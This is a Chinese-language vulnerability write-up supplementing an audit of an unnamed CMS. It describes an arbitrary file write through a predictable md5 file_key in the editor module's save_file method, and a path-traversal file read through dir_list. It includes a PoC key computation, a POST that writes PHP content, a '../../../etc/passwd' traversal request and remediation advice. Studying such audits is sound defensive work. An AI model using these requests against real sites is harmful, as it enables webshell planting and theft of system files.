对“某cms审计”的补充
字数 959 2025-08-24 23:51:20
某CMS安全审计补充文档
前言
本文是对某CMS安全审计的补充文档,重点分析了后台editor模块存在的两个高危漏洞:任意文件上传和任意文件读取。通过本文,您将详细了解漏洞的发现过程、利用方法以及修复建议。
一、后台editor模块任意文件上传漏洞
1. 漏洞发现
在审计过程中发现editor模块的create_node方法存在任意文件上传漏洞,但存在两个关键问题:
- 上传路径的获取方式未明确
- 上传文件内容为空
2. 路径获取方法
在正常使用模板在线编辑功能时,系统会暴露上传的绝对路径:
[此处应有路径获取截图]
3. 文件内容写入问题
进一步审计发现editor模块中存在save_file方法,该方法接收file_content参数:
public function save_file($file_path, $file_content, $file_key) {
if ($this->checkFileKey($file_path, $file_key)) {
$this->setFileContent($file_path, $file_content);
// ...
}
}
4. 关键验证机制分析
checkFileKey方法验证逻辑:
protected function checkFileKey($file_path, $file_key) {
return $file_key === self::getFileKey($file_path);
}
getFileKey方法实现:
public static function getFileKey($file_path) {
// 简单拼接后加密
return md5('prefix_' . $file_path . '_suffix');
}
5. 漏洞利用步骤
- 构造POC获取file_key:
// poc.php
echo md5('prefix_' . '/path/to/target/file' . '_suffix');
- 利用save_file方法写入内容:
POST /editor/save_file
file_path=/path/to/target/file
file_content=<?php phpinfo();?>
file_key=[计算得到的key]
6. 漏洞验证
成功写入Webshell后访问:
http://target.com/path/to/target/file
二、新的任意文件读取漏洞
1. 漏洞位置
editor模块下的dir_list方法存在任意文件读取漏洞。
2. 正常请求分析
不传参时的正常返回:
[正常返回的JSON数据示例]
3. 漏洞利用方法
修改dir_path参数:
GET /editor/dir_list?dir_path=../../../etc/passwd
4. 实际应用场景
在模板编辑-在线编辑功能中:
- 第一次请求:正常请求
- 第二次请求:正常请求
- 第三次请求:调用
dir_list方法
此时可修改参数实现任意文件读取:
[修改参数前后的对比截图]
三、漏洞修复建议
1. 任意文件上传修复
- 增加上传文件类型白名单验证
- 限制上传目录为指定安全目录
- 加强file_key的生成算法复杂度
- 增加管理员操作日志记录
2. 任意文件读取修复
- 对dir_path参数进行规范化处理
- 限制可访问的目录范围
- 增加路径合法性校验
- 实现目录访问权限控制
四、总结
本文补充了某CMS审计中未详细描述的两个高危漏洞:
- 通过editor模块的save_file方法实现任意文件上传
- 通过dir_list方法实现任意文件读取
这两个漏洞均可导致系统被完全控制,建议用户及时更新或按照修复建议进行防护。
附录:参考链接
- 原始审计报告:https://xz.aliyun.com/t/10733
- 本文补充POC代码示例
- 相关漏洞验证截图